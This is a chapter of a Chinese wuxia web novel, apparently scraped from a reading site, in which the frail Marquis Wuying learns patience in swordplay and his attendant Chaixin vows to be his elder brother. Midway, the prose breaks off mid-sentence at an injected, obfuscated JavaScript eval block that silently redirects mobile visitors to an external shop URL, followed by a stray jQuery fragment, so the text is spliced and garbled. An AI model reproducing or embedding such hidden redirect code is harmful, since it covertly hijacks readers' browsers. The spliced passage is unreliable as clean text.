文趣网 > 其他小说 > 永夜无影 > 88.第八十八章 兄长
    无影被程砚抱走之后,那一院子的先天,可就炸开了锅。这些,是他后来都不曾知道的。

    「侯爷?」华凝霜头一个按捺不住,一把拽住身旁的人,追问道,「方才老楚喊的那一声『侯爷』,是哪门子的侯爷?你们谁知道,快与我说道说道!」

    人群里,有那么个消息灵通些的先天,压低了声音:

    「华女侠竟不知道?那便是年前,京城里头新封的那一位。永夜侯。」

    「永夜侯?」

    这三个字一出,那原本只是看热闹的众人,神色都变了变。这名号,在江湖上虽不算如雷贯耳,可这一年来,京中的风声,多少也飘进了些人的耳朵里。

    「我听过我听过!」有人一拍手,恍然大悟,「都说这位永夜侯,是个病秧子,体弱得邪门,一年到头见不得几回光。哎,这可不就和方才那撑着伞,白日里见不得人的模样,严丝合缝地对上了?」

    「岂止是病弱。」另一个先天神神秘秘地凑过来,把声音又压低了几分,「京里头传得最凶的,都说这位侯爷来历不明,是当今圣上的私生子。要不然,一个无根无基的少年郎,怎会平白无故,就封了个侯?那圣眷,又怎会浓成那个样子?」

    此话一出,几人俱是倒吸一口凉气。

    「私生子?」又有人摇头,「我听来的却是另一桩。说这位侯爷,聪明绝顶,是个万里挑一,百年难遇的奇才。这倒和咱们这两日亲眼瞧见的,对上了。」

    人群后头,关朔的脸,一阵青一阵白。

    他想起头一日,自己是如何当众讥讽那「病秧子」,又是如何被那随侍一刀逼到了颈侧。这会儿才回过味来,他得罪的,竟是这么一位惹不起的人物。他张了张嘴,悻悻地,把那点没出息的懊恼,咽回了肚里。

    倒是云岱,慢悠悠地捋着须,不甚赞同地摇了摇头。

    他想起那个抱着伞偷吃糖糕,下棋下得像个蒙童,提起家人便红了眼眶的少年,再对上这些个「私生子」「圣眷」的冷硬传闻,怎么也对不上号。在他看来,那哪里是什么深不可测的天潢贵胄。那分明,只是个孤零零的,叫人看着心疼的孩子罢了。

    至于那捅破了这层窗户纸的楚崤,此刻正懊悔着自己方才的情急失言,沉着一张脸,任谁来问,也不肯再多吐露半个字。

    「都少说两句罢。」

    一直未曾开口的会首钟离寂,终于沉声发了话。他目光一扫,那议论纷纷的人群,便都静了下来。

    「人家是什么来历,与这玄关会,又有何干?」他缓缓道,语气里带着不容置喙的分量,「在这儿,他便只是个上门来以武会友的后生。旁的那些个,都给老朽,烂在肚子里。」

    一场沸沸扬扬的议论,被他这一句话,压了下去。只是那些个真真假假的传闻,到底,还是不胫而走了。接下来的几日,天公着实不作美。一场大雨,淅淅沥沥地,下个没完没了。

    程砚也不许无影下床。他这副身子,先经了那一场拿命拼的暴怒,又生生挨了楚崤那一刀,早已亏空到了底,须得好生将养着。他心里头,自然是日日惦记着柴心的。

    他那一跑,究竟跑到哪儿去了?这连日的风里雨里,他一个人,可还撑得住?无影坐立难安,有几回,当真想撑着起身,去把他寻回来。

    可一来,他浑身上下没有半分力气;二来,程砚把他看得死死的。他那一身的本事,到了这位慢吞吞的老前辈手里,偏偏,是半分也施展不开,压根打不过他。他也只能,干瞪着眼,着急。

    程砚见他这般魂不守舍的,倒也不恼。他便就着那雨天里昏沉沉的灯光,挪到床边,握着他的手,一点一点地,教他那一门静剑的功夫。

    无影浑身使不上劲,他却毫不在意。他那一路剑,本就不靠半分蛮力,要的是个静字,是个定字。他这副动弹不得,心又静不下来的光景,程砚便不急不躁,握着他的手,一遍,又一遍,极有耐心地,陪着他慢慢地走。

    那是无影长这么大,头一回有人这般待他。没有一句嫌他笨,嫌他慢的话,也没有那种把他高高供着,碰也不敢碰的疏远。程砚只是握着他的手,一式一式,掰开了揉碎了,陪着他磨。错了,便再来一遍,半分也不急。

    这般几日下来,他竟又实实在在地,学到了许多。那个玄而又玄的「等」字诀,在程砚日日的耐心引带之下,也渐渐地,被他摸着了几分真章。

    直到第四日。那个跑了四天四夜,教他日日揪着心的人,终于回来了。

    他浑身上下,早被这连日的大雨,浇了个透,发梢还在不住地滴着水。他一句话也没有说,径直走到床前,「扑通」一声,直直地,跪了下去。而后,一个,一个,结结实实地,朝着无影,磕了三个响头。

    那三下,磕得又重又实,额头触地的闷响,一声一声,撞在无影心上。这几日他在风雨里头是怎么过来的,受了多少煎熬,想透了多少事,他一个字也没说,全压进了这三个响头里。

    那时候,正是白日。无影瞧不真切他的神色,看不清他那张脸上,写着的究竟是悔,是愧,还是别的什么。他只隐隐地觉着,这短短几日不见,柴心周身那股气势,竟比从前,又沉了几分,也厉了几分。

    可那些,都不打紧了。

    他回来了。回来了,就好。

    一见柴心安然回来了,无影那颗悬了好几日的心,总算落了地。心一落地,那股被摁在床上好几日,早憋得发慌的劲儿,便再也压不住了。他来了精神,缠上了程砚。

    「程先生,让我下床罢。」他扯着程砚的袖子,软磨硬泡,「我都躺了这许多日了,骨头都要躺散架了。我好了,当真好了,你就让我下来活动活动罢……」

    程砚被他缠得没法子,那一向淡泊的脸上,满是哭笑不得的无奈。他沉吟了片刻,到底是拗不过他,便想了个折中的法子:

    「也罢。」他放下茶盏,「这样,你既说自己好了,那便与老夫,比试一回。咱们不动内力,就在这床上,比一比这些时日,老夫教你的功夫。」

    他伸出一只手,掌心向上,搁在二人之间:「就比这个。谁能先点着对方的手心,便算谁赢。你若赢得了老夫,今夜,便由你下床,再没人拦你。」

    无影一听有这等好事,眼睛登时就亮了,想也不想便应下了。这有何难。头一回,他急吼吼地,伸指便往程砚掌心点去。可那指尖将到未到,程砚那只手,却像是早算准了他的来路,慢悠悠地一翻,反手便点在了他的手背上。他输了。

    「再来!」他不服气。

    第二回,他学乖了些,故意虚晃一招,想引程砚先动。可程砚稳如磐石,他不动,程砚便也不动,那只手老神在在地搁着,竟比他还沉得住气。他一急,抢先出了手,又被后发先至,轻轻巧巧地,点了个正着。又输了。

    第三回,第四回,他绞尽了脑汁,左一个法子,右一个巧招,使尽了浑身解数。可无论他出手多快,变招多刁,那只慢吞吞的手,总能稳稳地,候在他的必经之路上,后发,而先至。一连四回,他输得干干净净。

    他瞪着那只手,又气又恼。可也就在这第四回输了之后,他忽然,静了下来。

    他想起了那个「等」字。想起了白日里那一盘棋,正是因为他什么也做不了,沉住了气,反倒赢了云岱。

    是了。越急,越是要输。第五回。他不抢了,也不急了。他把那一颗浮躁的心,一点一点地,沉了下去。那只手,静静地搁着,半分也不动,只静静地,等。程砚见他竟不动了,眉梢微微一动。僵持片刻,到底是程砚,先按捺不住,那只手,朝着他这边,递了过来。就是这一动。

    无影那一直静候着的指尖,仿佛早就等着他这一下。程砚手一动,他便顺着那一线,后发先至,「啪」地一下,稳稳地,点在了程砚的掌心。

    程砚愕然。他怔怔地看着掌心里那根指头,那一向古井无波的脸上,竟是实实在在的惊叹。

    「好……好一个『等』字。」他失声赞道,半晌,才摇着头,由衷地感慨,「老夫教了你这几日,你竟当真,把这门道悟透了。你这孩子,可当真是个百年难遇的奇才。」

    他是个愿赌服输的人,当下也不再拦,笑着,朝那床下虚虚一引:「罢了罢了,是老夫输了。今夜,便由着你去罢。」

    一旁,柴心默默地看着他这副又活泛回来,缠着人讨价还价的模样,那连日紧绷着,还噙着愧色的眉眼,也悄悄松动了几分。只是他二人之间,那一桩还没说开的事,到底还悬着。柴心上前,小心翼翼地,扶着他下了床。

    他的动作放得极轻,极慢,那一双扶着他的手,比往日里,又添了几分说不出的郑重与小心,仿佛他是什么一碰就碎的物件。被程砚那么一夸,无影心里头那点小小的得意,便再也藏不住了。他由着柴心扶着,仰起脸,朝他唤了一声:

    「柴心,我赢了。」

    这一声里头,没有半分前几日的责怪,也没有半分的隔阂。就好像那一场惊心动魄的闹剧,那滔天的魔障,压根就不曾发生过一般。他只是,单单地,想同柴心分享这一点小小的欢喜。柴心的心,一下子就软了。

    这几日,他独自一人,在那连绵的风雨里头,想通了许许多多的事。他垂下眼,半晌,才极轻,极轻地,回了一句:

    「无影真是厉害。」

    无影抬起眼,微微一怔。

    柴心他……平日里,是极少这般,直唤他「无影」的。在人前,他唤「公子」;私底下,也多半是一声「公子」。这「无影」二字,从他口中说出来,统共也没听过几回。

    怎么,这会子……?柴心却还没说完。他扶着他,垂着眼,又极轻地,一字一句地,说了下去:

    「往后,我都唤你无影。」

    他顿了顿,像是把那几日想透了的话,一点一点地,捧到他面前:

    「你就把我,当作你的兄长。」

    「一个,每日都在的兄长。」

    「一个,会夸你的兄长。」

    这几句话,像一只手,轻轻地,探进了无影心里头那个最深,最不敢去碰的角落。每日都在的兄长。会夸你的兄长。

    那是他求了一辈子,却从来,从来不曾拥有过的东西。他那位长姐,日日见着他,却只有一句「别烦我」;他那满族的亲人,敬重他,却没有一个肯靠近他。

    可柴心说,他都在。他会夸他。

    无影顿时,泪流满面。

    那股熟悉的刺痛,又毫无预兆地,涌上了心口。可这一回,点燃它的,不是怒,不是悲。竟是一种他这辈子都不曾尝过的,太满,太烈的喜悦。

    原来,情绪一旦过了头,无论是悲是喜,那蛰伏的暴怒,都是一样要被勾起来的。他浑身脱力,软软地靠在柴心身上,眼睁睁地,感觉那暴怒被这滔天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971314|210014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的欢喜,一点一点地,激发了出来。这一回,靠他自己,是再也压它不下去了。

    程砚一见他颈间那悄悄蔓起的血纹,脸色骤变。

    「你这孩子!」他怒吼一声,又急又气,「真真是不要命了!」

    他再容不得耽搁半分,厉声喝道:「念!跟着老夫,念那清心诀!立刻!」

    他念一句,无影便跟着,懵懵懂懂地,念一句。其实,程砚口中念的究竟是什么,他一个字也没能听进去。他满心满眼,都还是方才柴心说的那几句话。

    可那清心诀,竟当真是有效的。那平缓的,一句一句的诵念,像一只温柔的手,把那濒临爆发的暴怒,一点一点地,抚平,压了下去。那股要命的刺痛,终于,慢慢地,退了。无影靠在柴心的怀里,缓了好一会儿。然后,他极轻地,唤了一声:

    「柴心。」

    「嗯。」柴心应了。

    他顿了顿,又唤了一声:

    「柴心。」

    「嗯,我在。」柴心又应了一声。

    他也说不清,自己为什么要这样一遍一遍地唤他。或许,只是想确认。确认这世上,当真有了这么一个人。他一开口,那人便在。他唤一声,那人,便会答他一声。

    这样一桩在旁人看来再寻常不过的小事,一声唤,一声应,他却足足等了三十多年。等到这会儿,才头一回,真真切切地,落到了自己头上。他靠在柴心怀里,把这一声一应,反反复复地,听了又听,像是要把它,牢牢地,刻进骨头里去。

    眼见那要命的暴怒,总算被压了下去,颈间的血纹也一丝一丝地褪尽了,程砚才长长地,舒了一口气。他瞧着无影这副劫后余生的模样,又好气又好笑地摇了摇头,转头,却对柴心笑叹了一声:

    「你这一回,倒是因祸得福了。这几日的煎熬,旁人瞧着是遭罪,可于你,竟是生生把那道心境的关隘,给闯破了。」他捋着须,意味深长地,「如今的你,那楚崤,可再没法子像前几日那般,轻轻巧巧地,就把你拿捏住了。」

    无影靠在柴心怀里,一听这话,那点子胜负心,「噌」地一下,又冒了上来。

    他仰起脸,却又不容拒绝地,对柴心道:

    「柴心。你去,再同楚崤,比一场。」

    柴心向来是听他的。他先将无影,稳稳当当地,抱到了近旁一处背着火光,阴凉清静的廊角坐下,又仔细替他掖了掖身上的披风,这才直起身,转过去。他走到楚崤面前,抱刀,郑重地行了一礼。

    这一回,没有那滔天的魔障,没有那不要命的疯戾。是堂堂正正的,一场比武。楚崤见他眼神清明,气息沉稳,与前几日那魔怔了的模样,已是判若两人,也郑重地,还了一礼,缓缓拔刀相向。两柄刀,一交,便是一场酣战。

    楚崤那一手刀法,老辣稳重,攻守有度。而柴心那一柄黑刀,却与前几日截然不同了。那刀里头,再不见那股子裹着惊惧,不管不顾的疯劲。如今的他,眼神清明,出刀沉稳,一身深重的杀气,竟已能收放自如。那道闯过了的心境关隘,明明白白地,写在了他这一柄刀上。

    一个老辣,一个锋锐。一时间,竟是棋逢对手,斗得难分难解。

    数十回合下来,两人各自一记蓄足了力的重劈,「铛」地一声,硬碰硬地撞在了一处,齐齐地,震退了半步。两柄刀,同时收住。

    平手。

    楚崤收刀入鞘,抱拳,由衷地赞道:「柴兄这一手好刀法。是楚某,先前看走了眼了。」

    无影在那阴凉的廊角,自始至终,静静地看着。看着柴心那沉稳清明,与人堂堂正正分了个平手的模样,他那点小小的胜负心,得到了十足的满足。那是一种藏也藏不住的,与有荣焉。

    可他正美滋滋地与有荣焉着,忽然,心里头「咯噔」一下。

    他猛地,攥紧了拳。失算了。他这才后知后觉地,反应了过来。这会子,是白日。他这双眼睛,白日里,本就看不真切。

    方才那一场,柴心与楚崤,斗得那般精彩。可他,竟是连一招半式,都没能瞧清楚。眼前那两道翻飞的刀光,于他,自始至终,都不过是两团影影绰绰,糊作一处的影子罢了。亏他方才,还得意了那么半天。这亏吃得,叫他又懊又恼。

    自家兄长头一回这般扬眉吐气,他这做弟弟的,竟连人家是怎么个威风法都没瞧着,光顾着在那儿瞎得意。越想,他越觉着憋屈,那一颗不甘心的心,便怎么也按不下去了。

    他把那不甘心的劲儿一鼓,抬起头,理直气壮地,对柴心道:

    「不算。柴心,晚上,你再同他,打一回。」

    柴心先是一愣,旋即便明白了他这没头没脑一句话的缘由。他那向来冷硬的眉眼间,竟也漾开了一丝极淡的,纵容的暖意。他低低地,应了一声:「好。」

    倒是一旁的楚崤,听了这话,那一张沉稳的脸,登时就僵在了那儿。

    他方才,可是拿出了十成的真本事,与柴心堂堂正正,酣畅淋漓地,斗了那么一整场。胜负难分,惺惺相惜,那是何等郑重的一场比试。可这会儿,却冷不丁被告知,这一场,「不算」。就因为,那位金贵的小侯爷,没能瞧清楚,所以晚上,还得,再来一遍。

    楚崤张了张嘴,一时间,竟是哭笑不得,不知该说些什么才好。半晌,他到底是把那点做臣子的本分捡了起来,无可奈何地,朝那阴凉的廊角拱了拱手,认了。